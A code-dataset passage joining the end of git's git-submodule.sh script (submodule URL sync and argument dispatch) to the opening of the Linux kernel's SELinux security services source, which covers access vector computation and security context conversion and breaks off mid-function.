stage sm_path do die_if_unmatched "$mode" "$sha1" name=$(git submodule--helper name "$sm_path") url=$(git config -f .gitmodules --get submodule."$name".url) # Possibly a url relative to parent case "$url" in ./*|../*) # rewrite foo/bar as ../.. to find path from # submodule work tree to superproject work tree up_path="$(printf '%s\n' "$sm_path" | sed "s/[^/][^/]*/../g")" && # guarantee a trailing / up_path=${up_path%/}/ && # path from submodule work tree to submodule origin repo sub_origin_url=$(git submodule--helper resolve-relative-url "$url" "$up_path") && # path from superproject work tree to submodule origin repo super_config_url=$(git submodule--helper resolve-relative-url "$url") || exit ;; *) sub_origin_url="$url" super_config_url="$url" ;; esac if git config "submodule.$name.url" >/dev/null 2>/dev/null then displaypath=$(git submodule--helper relative-path "$prefix$sm_path" "$wt_prefix") say "$(eval_gettext "Synchronizing submodule url for '\$displaypath'")" git config submodule."$name".url "$super_config_url" if test -e "$sm_path"/.git then ( sanitize_submodule_env cd "$sm_path" remote=$(get_default_remote) git config remote."$remote".url "$sub_origin_url" if test -n "$recursive" then prefix="$prefix$sm_path/" eval cmd_sync fi ) fi fi done } cmd_absorbgitdirs() { git submodule--helper absorb-git-dirs --prefix "$wt_prefix" "$@" } # This loop parses the command line arguments to find the # subcommand name to dispatch. Parsing of the subcommand specific # options are primarily done by the subcommand implementations. # Subcommand specific options such as --branch and --cached are # parsed here as well, for backward compatibility. while test $# != 0 && test -z "$command" do case "$1" in add | foreach | init | deinit | update | status | summary | sync | absorbgitdirs) command=$1 ;; -q|--quiet) GIT_QUIET=1 ;; -b|--branch) case "$2" in '') usage ;; esac branch="$2"; shift ;; --cached) cached="$1" ;; --) break ;; -*) usage ;; *) break ;; esac shift done # No command word defaults to "status" if test -z "$command" then if test $# = 0 then command=status else usage fi fi # "-b branch" is accepted only by "add" if test -n "$branch" && test "$command" != add then usage fi # "--cached" is accepted only by "status" and "summary" if test -n "$cached" && test "$command" != status && test "$command" != summary then usage fi "cmd_$command" "$@"
ajshastri/git
git-submodule.sh
Shell
gpl-2.0
27,546
/* * Implementation of the security services. * * Authors : Stephen Smalley, <[email protected]> * James Morris <[email protected]> * * Updated: Trusted Computer Solutions, Inc. <[email protected]> * * Support for enhanced MLS infrastructure. * Support for context based audit filters. * * Updated: Frank Mayer <[email protected]> and Karl MacMillan <[email protected]> * * Added conditional policy language extensions * * Updated: Hewlett-Packard <[email protected]> * * Added support for NetLabel * Added support for the policy capability bitmap * * Updated: Chad Sellers <[email protected]> * * Added validation of kernel classes and permissions * * Updated: KaiGai Kohei <[email protected]> * * Added support for bounds domain and audit messaged on masked permissions * * Updated: Guido Trentalancia <[email protected]> * * Added support for runtime switching of the policy type * * Copyright (C) 2008, 2009 NEC Corporation * Copyright (C) 2006, 2007 Hewlett-Packard Development Company, L.P. * Copyright (C) 2004-2006 Trusted Computer Solutions, Inc. * Copyright (C) 2003 - 2004, 2006 Tresys Technology, LLC * Copyright (C) 2003 Red Hat, Inc., James Morris <[email protected]> * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, version 2. */ #include <linux/kernel.h> #include <linux/slab.h> #include <linux/string.h> #include <linux/spinlock.h> #include <linux/rcupdate.h> #include <linux/errno.h> #include <linux/in.h> #include <linux/sched.h> #include <linux/audit.h> #include <linux/mutex.h> #include <linux/selinux.h> #include <linux/flex_array.h> #include <linux/vmalloc.h> #include <net/netlabel.h> #include "flask.h" #include "avc.h" #include "avc_ss.h" #include "security.h" #include "context.h" #include "policydb.h" #include "sidtab.h" #include "services.h" #include "conditional.h" #include "mls.h" #include "objsec.h" #include "netlabel.h" #include "xfrm.h" #include "ebitmap.h" #include "audit.h" int selinux_policycap_netpeer; int selinux_policycap_openperm; static DEFINE_RWLOCK(policy_rwlock); static struct sidtab sidtab; struct policydb policydb; int ss_initialized; /* * The largest sequence number that has been used when * providing an access decision to the access vector cache. * The sequence number only changes when a policy change * occurs. */ static u32 latest_granting; /* Forward declaration. */ static int context_struct_to_string(struct context *context, char **scontext, u32 *scontext_len); static void context_struct_compute_av(struct context *scontext, struct context *tcontext, u16 tclass, struct av_decision *avd); struct selinux_mapping { u16 value; /* policy value */ unsigned num_perms; u32 perms[sizeof(u32) * 8]; }; static struct selinux_mapping *current_mapping; static u16 current_mapping_size; static int selinux_set_mapping(struct policydb *pol, struct security_class_mapping *map, struct selinux_mapping **out_map_p, u16 *out_map_size) { struct selinux_mapping *out_map = NULL; size_t size = sizeof(struct selinux_mapping); u16 i, j; unsigned k; bool print_unknown_handle = false; /* Find number of classes in the input mapping */ if (!map) return -EINVAL; i = 0; while (map[i].name) i++; /* Allocate space for the class records, plus one for class zero */ out_map = kcalloc(++i, size, GFP_ATOMIC); if (!out_map) return -ENOMEM; /* Store the raw class and permission values */ j = 0; while (map[j].name) { struct security_class_mapping *p_in = map + (j++); struct selinux_mapping *p_out = out_map + j; /* An empty class string skips ahead */ if (!strcmp(p_in->name, "")) { p_out->num_perms = 0; continue; } p_out->value = string_to_security_class(pol, p_in->name); if (!p_out->value) { printk(KERN_INFO "SELinux: Class %s not defined in policy.\n", p_in->name); if (pol->reject_unknown) goto err; p_out->num_perms = 0; print_unknown_handle = true; continue; } k = 0; while (p_in->perms && p_in->perms[k]) { /* An empty permission string skips ahead */ if (!*p_in->perms[k]) { k++; continue; } p_out->perms[k] = string_to_av_perm(pol, p_out->value, p_in->perms[k]); if (!p_out->perms[k]) { printk(KERN_INFO "SELinux: Permission %s in class %s not defined in policy.\n", p_in->perms[k], p_in->name); if (pol->reject_unknown) goto err; print_unknown_handle = true; } k++; } p_out->num_perms = k; } if (print_unknown_handle) printk(KERN_INFO "SELinux: the above unknown classes and permissions will be %s\n", pol->allow_unknown ? "allowed" : "denied"); *out_map_p = out_map; *out_map_size = i; return 0; err: kfree(out_map); return -EINVAL; } /* * Get real, policy values from mapped values */ static u16 unmap_class(u16 tclass) { if (tclass < current_mapping_size) return current_mapping[tclass].value; return tclass; } /* * Get kernel value for class from its policy value */ static u16 map_class(u16 pol_value) { u16 i; for (i = 1; i < current_mapping_size; i++) { if (current_mapping[i].value == pol_value) return i; } return SECCLASS_NULL; } static void map_decision(u16 tclass, struct av_decision *avd, int allow_unknown) { if (tclass < current_mapping_size) { unsigned i, n = current_mapping[tclass].num_perms; u32 result; for (i = 0, result = 0; i < n; i++) { if (avd->allowed & current_mapping[tclass].perms[i]) result |= 1<<i; if (allow_unknown && !current_mapping[tclass].perms[i]) result |= 1<<i; } avd->allowed = result; for (i = 0, result = 0; i < n; i++) if (avd->auditallow & current_mapping[tclass].perms[i]) result |= 1<<i; avd->auditallow = result; for (i = 0, result = 0; i < n; i++) { if (avd->auditdeny & current_mapping[tclass].perms[i]) result |= 1<<i; if (!allow_unknown && !current_mapping[tclass].perms[i]) result |= 1<<i; } /* * In case the kernel has a bug and requests a permission * between num_perms and the maximum permission number, we * should audit that denial */ for (; i < (sizeof(u32)*8); i++) result |= 1<<i; avd->auditdeny = result; } } int security_mls_enabled(void) { return policydb.mls_enabled; } /* * Return the boolean value of a constraint expression * when it is applied to the specified source and target * security contexts. * * xcontext is a special beast... It is used by the validatetrans rules * only. For these rules, scontext is the context before the transition, * tcontext is the context after the transition, and xcontext is the context * of the process performing the transition. All other callers of * constraint_expr_eval should pass in NULL for xcontext. */ static int constraint_expr_eval(struct context *scontext, struct context *tcontext, struct context *xcontext, struct constraint_expr *cexpr) { u32 val1, val2; struct context *c; struct role_datum *r1, *r2; struct mls_level *l1, *l2; struct constraint_expr *e; int s[CEXPR_MAXDEPTH]; int sp = -1; for (e = cexpr; e; e = e->next) { switch (e->expr_type) { case CEXPR_NOT: BUG_ON(sp < 0); s[sp] = !s[sp]; break; case CEXPR_AND: BUG_ON(sp < 1); sp--; s[sp] &= s[sp + 1]; break; case CEXPR_OR: BUG_ON(sp < 1); sp--; s[sp] |= s[sp + 1]; break; case CEXPR_ATTR: if (sp == (CEXPR_MAXDEPTH - 1)) return 0; switch (e->attr) { case CEXPR_USER: val1 = scontext->user; val2 = tcontext->user; break; case CEXPR_TYPE: val1 = scontext->type; val2 = tcontext->type; break; case CEXPR_ROLE: val1 = scontext->role; val2 = tcontext->role; r1 = policydb.role_val_to_struct[val1 - 1]; r2 = policydb.role_val_to_struct[val2 - 1]; switch (e->op) { case CEXPR_DOM: s[++sp] = ebitmap_get_bit(&r1->dominates, val2 - 1); continue; case CEXPR_DOMBY: s[++sp] = ebitmap_get_bit(&r2->dominates, val1 - 1); continue; case CEXPR_INCOMP: s[++sp] = (!ebitmap_get_bit(&r1->dominates, val2 - 1) && !ebitmap_get_bit(&r2->dominates, val1 - 1)); continue; default: break; } break; case CEXPR_L1L2: l1 = &(scontext->range.level[0]); l2 = &(tcontext->range.level[0]); goto mls_ops; case CEXPR_L1H2: l1 = &(scontext->range.level[0]); l2 = &(tcontext->range.level[1]); goto mls_ops; case CEXPR_H1L2: l1 = &(scontext->range.level[1]); l2 = &(tcontext->range.level[0]); goto mls_ops; case CEXPR_H1H2: l1 = &(scontext->range.level[1]); l2 = &(tcontext->range.level[1]); goto mls_ops; case CEXPR_L1H1: l1 = &(scontext->range.level[0]); l2 = &(scontext->range.level[1]); goto mls_ops; case CEXPR_L2H2: l1 = &(tcontext->range.level[0]); l2 = &(tcontext->range.level[1]); goto mls_ops; mls_ops: switch (e->op) { case CEXPR_EQ: s[++sp] = mls_level_eq(l1, l2); continue; case CEXPR_NEQ: s[++sp] = !mls_level_eq(l1, l2); continue; case CEXPR_DOM: s[++sp] = mls_level_dom(l1, l2); continue; case CEXPR_DOMBY: s[++sp] = mls_level_dom(l2, l1); continue; case CEXPR_INCOMP: s[++sp] = mls_level_incomp(l2, l1); continue; default: BUG(); return 0; } break; default: BUG(); return 0; } switch (e->op) { case CEXPR_EQ: s[++sp] = (val1 == val2); break; case CEXPR_NEQ: s[++sp] = (val1 != val2); break; default: BUG(); return 0; } break; case CEXPR_NAMES: if (sp == (CEXPR_MAXDEPTH-1)) return 0; c = scontext; if (e->attr & CEXPR_TARGET) c = tcontext; else if (e->attr & CEXPR_XTARGET) { c = xcontext; if (!c) { BUG(); return 0; } } if (e->attr & CEXPR_USER) val1 = c->user; else if (e->attr & CEXPR_ROLE) val1 = c->role; else if (e->attr & CEXPR_TYPE) val1 = c->type; else { BUG(); return 0; } switch (e->op) { case CEXPR_EQ: s[++sp] = ebitmap_get_bit(&e->names, val1 - 1); break; case CEXPR_NEQ: s[++sp] = !ebitmap_get_bit(&e->names, val1 - 1); break; default: BUG(); return 0; } break; default: BUG(); return 0; } } BUG_ON(sp != 0); return s[0]; } /* * security_dump_masked_av - dumps masked permissions during * security_compute_av due to RBAC, MLS/Constraint and Type bounds. */ static int dump_masked_av_helper(void *k, void *d, void *args) { struct perm_datum *pdatum = d; char **permission_names = args; BUG_ON(pdatum->value < 1 || pdatum->value > 32); permission_names[pdatum->value - 1] = (char *)k; return 0; } static void security_dump_masked_av(struct context *scontext, struct context *tcontext, u16 tclass, u32 permissions, const char *reason) { struct common_datum *common_dat; struct class_datum *tclass_dat; struct audit_buffer *ab; char *tclass_name; char *scontext_name = NULL; char *tcontext_name = NULL; char *permission_names[32]; int index; u32 length; bool need_comma = false; if (!permissions) return; tclass_name = sym_name(&policydb, SYM_CLASSES, tclass - 1); tclass_dat = policydb.class_val_to_struct[tclass - 1]; common_dat = tclass_dat->comdatum; /* init permission_names */ if (common_dat && hashtab_map(common_dat->permissions.table, dump_masked_av_helper, permission_names) < 0) goto out; if (hashtab_map(tclass_dat->permissions.table, dump_masked_av_helper, permission_names) < 0) goto out; /* get scontext/tcontext in text form */ if (context_struct_to_string(scontext, &scontext_name, &length) < 0) goto out; if (context_struct_to_string(tcontext, &tcontext_name, &length) < 0) goto out; /* audit a message */ ab = audit_log_start(current->audit_context, GFP_ATOMIC, AUDIT_SELINUX_ERR); if (!ab) goto out; audit_log_format(ab, "op=security_compute_av reason=%s " "scontext=%s tcontext=%s tclass=%s perms=", reason, scontext_name, tcontext_name, tclass_name); for (index = 0; index < 32; index++) { u32 mask = (1 << index); if ((mask & permissions) == 0) continue; audit_log_format(ab, "%s%s", need_comma ? "," : "", permission_names[index] ? permission_names[index] : "????"); need_comma = true; } audit_log_end(ab); out: /* release scontext/tcontext */ kfree(tcontext_name); kfree(scontext_name); return; } /* * security_boundary_permission - drops violated permissions * on boundary constraint. */ static void type_attribute_bounds_av(struct context *scontext, struct context *tcontext, u16 tclass, struct av_decision *avd) { struct context lo_scontext; struct context lo_tcontext; struct av_decision lo_avd; struct type_datum *source; struct type_datum *target; u32 masked = 0; source = flex_array_get_ptr(policydb.type_val_to_struct_array, scontext->type - 1); BUG_ON(!source); target = flex_array_get_ptr(policydb.type_val_to_struct_array, tcontext->type - 1); BUG_ON(!target); if (source->bounds) { memset(&lo_avd, 0, sizeof(lo_avd)); memcpy(&lo_scontext, scontext, sizeof(lo_scontext)); lo_scontext.type = source->bounds; context_struct_compute_av(&lo_scontext, tcontext, tclass, &lo_avd); if ((lo_avd.allowed & avd->allowed) == avd->allowed) return; /* no masked permission */ masked = ~lo_avd.allowed & avd->allowed; } if (target->bounds) { memset(&lo_avd, 0, sizeof(lo_avd)); memcpy(&lo_tcontext, tcontext, sizeof(lo_tcontext)); lo_tcontext.type = target->bounds; context_struct_compute_av(scontext, &lo_tcontext, tclass, &lo_avd); if ((lo_avd.allowed & avd->allowed) == avd->allowed) return; /* no masked permission */ masked = ~lo_avd.allowed & avd->allowed; } if (source->bounds && target->bounds) { memset(&lo_avd, 0, sizeof(lo_avd)); /* * lo_scontext and lo_tcontext are already * set up. */ context_struct_compute_av(&lo_scontext, &lo_tcontext, tclass, &lo_avd); if ((lo_avd.allowed & avd->allowed) == avd->allowed) return; /* no masked permission */ masked = ~lo_avd.allowed & avd->allowed; } if (masked) { /* mask violated permissions */ avd->allowed &= ~masked; /* audit masked permissions */ security_dump_masked_av(scontext, tcontext, tclass, masked, "bounds"); } } /* * Compute access vectors based on a context structure pair for * the permissions in a particular class. */ static void context_struct_compute_av(struct context *scontext, struct context *tcontext, u16 tclass, struct av_decision *avd) { struct constraint_node *constraint; struct role_allow *ra; struct avtab_key avkey; struct avtab_node *node; struct class_datum *tclass_datum; struct ebitmap *sattr, *tattr; struct ebitmap_node *snode, *tnode; unsigned int i, j; avd->allowed = 0; avd->auditallow = 0; avd->auditdeny = 0xffffffff; if (unlikely(!tclass || tclass > policydb.p_classes.nprim)) { if (printk_ratelimit()) printk(KERN_WARNING "SELinux: Invalid class %hu\n", tclass); return; } tclass_datum = policydb.class_val_to_struct[tclass - 1]; /* * If a specific type enforcement rule was defined for * this permission check, then use it. */ avkey.target_class = tclass; avkey.specified = AVTAB_AV; sattr = flex_array_get(policydb.type_attr_map_array, scontext->type - 1); BUG_ON(!sattr); tattr = flex_array_get(policydb.type_attr_map_array, tcontext->type - 1); BUG_ON(!tattr); ebitmap_for_each_positive_bit(sattr, snode, i) { ebitmap_for_each_positive_bit(tattr, tnode, j) { avkey.source_type = i + 1; avkey.target_type = j + 1; for (node = avtab_search_node(&policydb.te_avtab, &avkey); node; node = avtab_search_node_next(node, avkey.specified)) { if (node->key.specified == AVTAB_ALLOWED) avd->allowed |= node->datum.data; else if (node->key.specified == AVTAB_AUDITALLOW) avd->auditallow |= node->datum.data; else if (node->key.specified == AVTAB_AUDITDENY) avd->auditdeny &= node->datum.data; } /* Check conditional av table for additional permissions */ cond_compute_av(&policydb.te_cond_avtab, &avkey, avd); } } /* * Remove any permissions prohibited by a constraint (this includes * the MLS policy). */ constraint = tclass_datum->constraints; while (constraint) { if ((constraint->permissions & (avd->allowed)) && !constraint_expr_eval(scontext, tcontext, NULL, constraint->expr)) { avd->allowed &= ~(constraint->permissions); } constraint = constraint->next; } /* * If checking process transition permission and the * role is changing, then check the (current_role, new_role) * pair. */ if (tclass == policydb.process_class && (avd->allowed & policydb.process_trans_perms) && scontext->role != tcontext->role) { for (ra = policydb.role_allow; ra; ra = ra->next) { if (scontext->role == ra->role && tcontext->role == ra->new_role) break; } if (!ra) avd->allowed &= ~policydb.process_trans_perms; } /* * If the given source and target types have boundary * constraint, lazy checks have to mask any violated * permission and notice it to userspace via audit. */ type_attribute_bounds_av(scontext, tcontext, tclass, avd); } static int security_validtrans_handle_fail(struct context *ocontext, struct context *ncontext, struct context *tcontext, u16 tclass) { char *o = NULL, *n = NULL, *t = NULL; u32 olen, nlen, tlen; if (context_struct_to_string(ocontext, &o, &olen)) goto out; if (context_struct_to_string(ncontext, &n, &nlen)) goto out; if (context_struct_to_string(tcontext, &t, &tlen)) goto out; audit_log(current->audit_context, GFP_ATOMIC, AUDIT_SELINUX_ERR, "security_validate_transition: denied for" " oldcontext=%s newcontext=%s taskcontext=%s tclass=%s", o, n, t, sym_name(&policydb, SYM_CLASSES, tclass-1)); out: kfree(o); kfree(n); kfree(t); #ifdef CONFIG_ALWAYS_ENFORCE selinux_enforcing = 1; #endif if (!selinux_enforcing) return 0; return -EPERM; } int security_validate_transition(u32 oldsid, u32 newsid, u32 tasksid, u16 orig_tclass) { struct context *ocontext; struct context *ncontext; struct context *tcontext; struct class_datum *tclass_datum; struct constraint_node *constraint; u16 tclass; int rc = 0; if (!ss_initialized) return 0; read_lock(&policy_rwlock); tclass = unmap_class(orig_tclass); if (!tclass || tclass > policydb.p_classes.nprim) { printk(KERN_ERR "SELinux: %s: unrecognized class %d\n", __func__, tclass); rc = -EINVAL; goto out; } tclass_datum = policydb.class_val_to_struct[tclass - 1]; ocontext = sidtab_search(&sidtab, oldsid); if (!ocontext) { printk(KERN_ERR "SELinux: %s: unrecognized SID %d\n", __func__, oldsid); rc = -EINVAL; goto out; } ncontext = sidtab_search(&sidtab, newsid); if (!ncontext) { printk(KERN_ERR "SELinux: %s: unrecognized SID %d\n", __func__, newsid); rc = -EINVAL; goto out; } tcontext = sidtab_search(&sidtab, tasksid); if (!tcontext) { printk(KERN_ERR "SELinux: %s: unrecognized SID %d\n", __func__, tasksid); rc = -EINVAL; goto out; } constraint = tclass_datum->validatetrans; while (constraint) { if (!constraint_expr_eval(ocontext, ncontext, tcontext, constraint->expr)) { rc = security_validtrans_handle_fail(ocontext, ncontext, tcontext, tclass); goto out; } constraint = constraint->next; } out: read_unlock(&policy_rwlock); return rc; } /* * security_bounded_transition - check whether the given * transition is directed to bounded, or not. * It returns 0, if @newsid is bounded by @oldsid. * Otherwise, it returns error code. * * @oldsid : current security identifier * @newsid : destinated security identifier */ int security_bounded_transition(u32 old_sid, u32 new_sid) { struct context *old_context, *new_context; struct type_datum *type; int index; int rc; read_lock(&policy_rwlock); rc = -EINVAL; old_context = sidtab_search(&sidtab, old_sid); if (!old_context) { printk(KERN_ERR "SELinux: %s: unrecognized SID %u\n", __func__, old_sid); goto out; } rc = -EINVAL; new_context = sidtab_search(&sidtab, new_sid); if (!new_context) { printk(KERN_ERR "SELinux: %s: unrecognized SID %u\n", __func__, new_sid); goto out; } rc = 0; /* type/domain unchanged */ if (old_context->type == new_context->type) goto out; index = new_context->type; while (true) { type = flex_array_get_ptr(policydb.type_val_to_struct_array, index - 1); BUG_ON(!type); /* not bounded anymore */ rc = -EPERM; if (!type->bounds) break; /* @newsid is bounded by @oldsid */ rc = 0; if (type->bounds == old_context->type) break; index = type->bounds; } if (rc) { char *old_name = NULL; char *new_name = NULL; u32 length; if (!context_struct_to_string(old_context, &old_name, &length) && !context_struct_to_string(new_context, &new_name, &length)) { audit_log(current->audit_context, GFP_ATOMIC, AUDIT_SELINUX_ERR, "op=security_bounded_transition " "result=denied " "oldcontext=%s newcontext=%s", old_name, new_name); } kfree(new_name); kfree(old_name); } out: read_unlock(&policy_rwlock); return rc; } static void avd_init(struct av_decision *avd) { avd->allowed = 0; avd->auditallow = 0; avd->auditdeny = 0xffffffff; avd->seqno = latest_granting; avd->flags = 0; } /** * security_compute_av - Compute access vector decisions. * @ssid: source security identifier * @tsid: target security identifier * @tclass: target security class * @avd: access vector decisions * * Compute a set of access vector decisions based on the * SID pair (@ssid, @tsid) for the permissions in @tclass. */ void security_compute_av(u32 ssid, u32 tsid, u16 orig_tclass, struct av_decision *avd) { u16 tclass; struct context *scontext = NULL, *tcontext = NULL; read_lock(&policy_rwlock); avd_init(avd); if (!ss_initialized) goto allow; scontext = sidtab_search(&sidtab, ssid); if (!scontext) { printk(KERN_ERR "SELinux: %s: unrecognized SID %d\n", __func__, ssid); goto out; } /* permissive domain? */ if (ebitmap_get_bit(&policydb.permissive_map, scontext->type)) avd->flags |= AVD_FLAGS_PERMISSIVE; tcontext = sidtab_search(&sidtab, tsid); if (!tcontext) { printk(KERN_ERR "SELinux: %s: unrecognized SID %d\n", __func__, tsid); goto out; } tclass = unmap_class(orig_tclass); if (unlikely(orig_tclass && !tclass)) { if (policydb.allow_unknown) goto allow; goto out; } context_struct_compute_av(scontext, tcontext, tclass, avd); map_decision(orig_tclass, avd, policydb.allow_unknown); out: read_unlock(&policy_rwlock); return; allow: avd->allowed = 0xffffffff; goto out; } void security_compute_av_user(u32 ssid, u32 tsid, u16 tclass, struct av_decision *avd) { struct context *scontext = NULL, *tcontext = NULL; read_lock(&policy_rwlock); avd_init(avd); if (!ss_initialized) goto allow; scontext = sidtab_search(&sidtab, ssid); if (!scontext) { printk(KERN_ERR "SELinux: %s: unrecognized SID %d\n", __func__, ssid); goto out; } /* permissive domain? */ if (ebitmap_get_bit(&policydb.permissive_map, scontext->type)) avd->flags |= AVD_FLAGS_PERMISSIVE; tcontext = sidtab_search(&sidtab, tsid); if (!tcontext) { printk(KERN_ERR "SELinux: %s: unrecognized SID %d\n", __func__, tsid); goto out; } if (unlikely(!tclass)) { if (policydb.allow_unknown) goto allow; goto out; } context_struct_compute_av(scontext, tcontext, tclass, avd); out: read_unlock(&policy_rwlock); return; allow: avd->allowed = 0xffffffff; goto out; } /* * Write the security context string representation of * the context structure `context' into a dynamically * allocated string of the correct size. Set `*scontext' * to point to this string and set `*scontext_len' to * the length of the string. */ static int context_struct_to_string(struct context *context, char **scontext, u32 *scontext_len) { char *scontextp; if (scontext) *scontext = NULL; *scontext_len = 0; if (context->len) { *scontext_len = context->len; if (scontext) { *scontext = kstrdup(context->str, GFP_ATOMIC); if (!(*scontext)) return -ENOMEM; } return 0; } /* Compute the size of the context. */ *scontext_len += strlen(sym_name(&policydb, SYM_USERS, context->user - 1)) + 1; *scontext_len += strlen(sym_name(&policydb, SYM_ROLES, context->role - 1)) + 1; *scontext_len += strlen(sym_name(&policydb, SYM_TYPES, context->type - 1)) + 1; *scontext_len += mls_compute_context_len(context); if (!scontext) return 0; /* Allocate space for the context; caller must free this space. */ scontextp = kmalloc(*scontext_len, GFP_ATOMIC); if (!scontextp) return -ENOMEM; *scontext = scontextp; /* * Copy the user name, role name and type name into the context. */ sprintf(scontextp, "%s:%s:%s", sym_name(&policydb, SYM_USERS, context->user - 1), sym_name(&policydb, SYM_ROLES, context->role - 1), sym_name(&policydb, SYM_TYPES, context->type - 1)); scontextp += strlen(sym_name(&policydb, SYM_USERS, context->user - 1)) + 1 + strlen(sym_name(&policydb, SYM_ROLES, context->role - 1)) + 1 + strlen(sym_name(&policydb, SYM_TYPES, context->type - 1)); mls_sid_to_context(context, &scontextp); *scontextp = 0; return 0; } #include "initial_sid_to_string.h" const char *security_get_initial_sid_context(u32 sid) { if (unlikely(sid > SECINITSID_NUM)) return NULL; return initial_sid_to_string[sid]; } static int security_sid_to_context_core(u32 sid, char **scontext, u32 *scontext_len, int force) { struct context *context; int rc = 0; if (scontext) *scontext = NULL; *scontext_len = 0; if (!ss_initialized) { if (sid <= SECINITSID_NUM) { char *scontextp; *scontext_len = strlen(initial_sid_to_string[sid]) + 1; if (!scontext) goto out; scontextp = kmalloc(*scontext_len, GFP_ATOMIC); if (!scontextp) { rc = -ENOMEM; goto out; } strcpy(scontextp, initial_sid_to_string[sid]); *scontext = scontextp; goto out; } printk(KERN_ERR "SELinux: %s: called before initial " "load_policy on unknown SID %d\n", __func__, sid); rc = -EINVAL; goto out; } read_lock(&policy_rwlock); if (force) context = sidtab_search_force(&sidtab, sid); else context = sidtab_search(&sidtab, sid); if (!context) { printk(KERN_ERR "SELinux: %s: unrecognized SID %d\n", __func__, sid); rc = -EINVAL; goto out_unlock; } rc = context_struct_to_string(context, scontext, scontext_len); out_unlock: read_unlock(&policy_rwlock); out: return rc; } /** * security_sid_to_context - Obtain a context for a given SID. * @sid: security identifier, SID * @scontext: security context * @scontext_len: length in bytes * * Write the string representation of the context associated with @sid * into a dynamically allocated string of the correct size. Set @scontext * to point to this string and set @scontext_len to the length of the string. */ int security_sid_to_context(u32 sid, char **scontext, u32 *scontext_len) { return security_sid_to_context_core(sid, scontext, scontext_len, 0); } int security_sid_to_context_force(u32 sid, char **scontext, u32 *scontext_len) { return security_sid_to_context_core(sid, scontext, scontext_len, 1); } /* * Caveat: Mutates scontext. */ static int string_to_context_struct(struct policydb *pol, struct sidtab *sidtabp, char *scontext, u32 scontext_len, struct context *ctx, u32 def_sid) { struct role_datum *role; struct type_datum *typdatum; struct user_datum *usrdatum; char *scontextp, *p, oldc; int rc = 0; context_init(ctx); /* Parse the security context. */ rc = -EINVAL; scontextp = (char *) scontext; /* Extract the user. */ p = scontextp; while (*p && *p != ':') p++; if (*p == 0) goto out; *p++ = 0; usrdatum = hashtab_search(pol->p_users.table, scontextp); if (!usrdatum) goto out; ctx->user = usrdatum->value; /* Extract role. */ scontextp = p; while (*p && *p != ':') p++; if (*p == 0) goto out; *p++ = 0; role = hashtab_search(pol->p_roles.table, scontextp); if (!role) goto out; ctx->role = role->value; /* Extract type. */ scontextp = p; while (*p && *p != ':') p++; oldc = *p; *p++ = 0; typdatum = hashtab_search(pol->p_types.table, scontextp); if (!typdatum || typdatum->attribute) goto out; ctx->type = typdatum->value; rc = mls_context_to_sid(pol, oldc, &p, ctx, sidtabp, def_sid); if (rc) goto out; rc = -EINVAL; if ((p - scontext) < scontext_len) goto out; /* Check the validity of the new context. */ if (!policydb_context_isvalid(pol, ctx)) goto out; rc = 0; out: if (rc) context_destroy(ctx); return rc; } static int security_context_to_sid_core(const char *scontext, u32 scontext_len, u32 *sid, u32 def_sid, gfp_t gfp_flags, int force) { char *scontext2, *str = NULL; struct context context; int rc = 0; /* An empty security context is never valid. */ if (!scontext_len) return -EINVAL; /* An empty security context is never valid. */ if (!scontext_len) return -EINVAL; if (!ss_initialized) { int i; for (i = 1; i < SECINITSID_NUM; i++) { if (!strcmp(initial_sid_to_string[i], scontext)) { *sid = i; return 0; } } *sid = SECINITSID_KERNEL; return 0; } *sid = SECSID_NULL; /* Copy the string so that we can modify the copy as we parse it. */ scontext2 = kmalloc(scontext_len + 1, gfp_flags); if (!scontext2) return -ENOMEM; memcpy(scontext2, scontext, scontext_len); scontext2[scontext_len] = 0; if (force) { /* Save another copy for storing in uninterpreted form */ rc = -ENOMEM; str = kstrdup(scontext2, gfp_flags); if (!str) goto out; } read_lock(&policy_rwlock); rc = string_to_context_struct(&policydb, &sidtab, scontext2, scontext_len, &context, def_sid); if (rc == -EINVAL && force) { context.str = str; context.len = scontext_len; str = NULL; } else if (rc) goto out_unlock; rc = sidtab_context_to_sid(&sidtab, &context, sid); context_destroy(&context); out_unlock: read_unlock(&policy_rwlock); out: kfree(scontext2); kfree(str); return rc; } /** * security_context_to_sid - Obtain a SID for a given security context. * @scontext: security context * @scontext_len: length in bytes * @sid: security identifier, SID * * Obtains a SID associated with the security context that * has the string representation specified by @scontext. * Returns -%EINVAL if the context is invalid, -%ENOMEM if insufficient * memory is available, or 0 on success. */ int security_context_to_sid(const char *scontext, u32 scontext_len, u32 *sid) { return security_context_to_sid_core(scontext, scontext_len, sid, SECSID_NULL, GFP_KERNEL, 0); } /** * security_context_to_sid_default - Obtain a SID for a given security context, * falling back to specified default if needed. * * @scontext: security context * @scontext_len: length in bytes * @sid: security identifier, SID * @def_sid: default SID to assign on error * * Obtains a SID associated with the security context that * has the string representation specified by @scontext. * The default SID is passed to the MLS layer to be used to allow * kernel labeling of the MLS field if the MLS field is not present * (for upgrading to MLS without full relabel). * Implicitly forces adding of the context even if it cannot be mapped yet. * Returns -%EINVAL if the context is invalid, -%ENOMEM if insufficient * memory is available, or 0 on success. */ int security_context_to_sid_default(const char *scontext, u32 scontext_len, u32 *sid, u32 def_sid, gfp_t gfp_flags) { return security_context_to_sid_core(scontext, scontext_len, sid, def_sid, gfp_flags, 1); } int security_context_to_sid_force(const char *scontext, u32 scontext_len, u32 *sid) { return security_context_to_sid_core(scontext, scontext_len, sid, SECSID_NULL, GFP_KERNEL, 1); } static int compute_sid_handle_invalid_context( struct context *scontext, struct context *tcontext, u16 tclass, struct context *newcontext) { char *s = NULL, *t = NULL, *n = NULL; u32 slen, tlen, nlen; if (context_struct_to_string(scontext, &s, &slen)) goto out; if (context_struct_to_string(tcontext, &t, &tlen)) goto out; if (context_struct_to_string(newcontext, &n, &nlen)) goto out; audit_log(current->audit_context, GFP_ATOMIC, AUDIT_SELINUX_ERR, "security_compute_sid: invalid context %s" " for scontext=%s" " tcontext=%s" " tclass=%s", n, s, t, sym_name(&policydb, SYM_CLASSES, tclass-1)); out: kfree(s); kfree(t); kfree(n); #ifdef CONFIG_ALWAYS_ENFORCE selinux_enforcing = 1; #endif if (!selinux_enforcing) return 0; return -EACCES; } static void filename_compute_type(struct policydb *p, struct context *newcontext, u32 stype, u32 ttype, u16 tclass, const char *objname) { struct filename_trans ft; struct filename_trans_datum *otype; /* * Most filename trans rules are going to live in specific directories * like /dev or /var/run. This bitmap will quickly skip rule searches * if the ttype does not contain any rules. */ if (!ebitmap_get_bit(&p->filename_trans_ttypes, ttype)) return; ft.stype = stype; ft.ttype = ttype; 